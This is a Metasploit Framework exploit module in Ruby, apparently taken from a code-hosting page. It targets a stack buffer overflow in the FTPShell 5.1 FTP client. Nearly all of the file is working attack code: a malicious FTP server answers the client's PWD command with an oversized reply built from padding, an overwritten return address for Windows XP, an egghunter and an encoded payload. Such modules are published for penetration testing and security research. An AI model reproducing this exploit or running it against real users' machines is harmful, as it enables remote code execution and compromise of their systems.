90 lines
2.1 KiB
Ruby
90 lines
2.1 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GoodRanking
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include Exploit::Remote::FtpServer
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include Exploit::Remote::Egghunter
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'FTPShell 5.1 Stack Buffer Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in FTPShell 5.1. The overflow gets
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triggered when the ftp clients tries to process an overly response to a PWD command.
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This will overwrite the saved EIP and structured exception handler.
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},
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'Author' =>
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[
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'corelanc0d3r' #found bug, wrote the exploit
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],
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'License' => MSF_LICENSE,
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'Version' => "$Revision$",
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'References' =>
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[
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[ 'OSVDB', '68639'],
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[ 'URL', 'http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread',
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},
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'Payload' =>
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{
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'BadChars' => "\x00\xff\x0d\x5c\x2f\x0a",
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows XP Universal', { 'Offset' => 399, 'Ret' => 0x779A5483 } ], #jmp ebp [setupapi.dll]]
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],
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'Privileged' => false,
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'DisclosureDate' => 'Oct 12 2010',
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'DefaultTarget' => 0))
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end
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def setup
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super
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end
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def on_client_unknown_command(c,cmd,arg)
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c.put("200 OK\r\n")
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end
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def on_client_command_pwd(c,arg)
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badchars = ""
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eggoptions =
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{
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:checksum => true,
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:eggtag => "w00t"
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}
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hunter,egg = generate_egghunter(payload.encoded,badchars,eggoptions)
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print_status(" - PWD command -> Sending payload")
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junk = "A" * target['Offset']
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nops = "A" * 10
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tweakhunter = "\x5a\x5a"
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eip = [target.ret].pack('V')
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buffer = junk + eip + nops + tweakhunter + hunter + egg
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pwdoutput = "257 \"/" + buffer+ "\" is current directory\r\n"
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c.put(pwdoutput)
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print_status(" - Sent #{pwdoutput.length} bytes, wait for hunter")
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return
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end
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end
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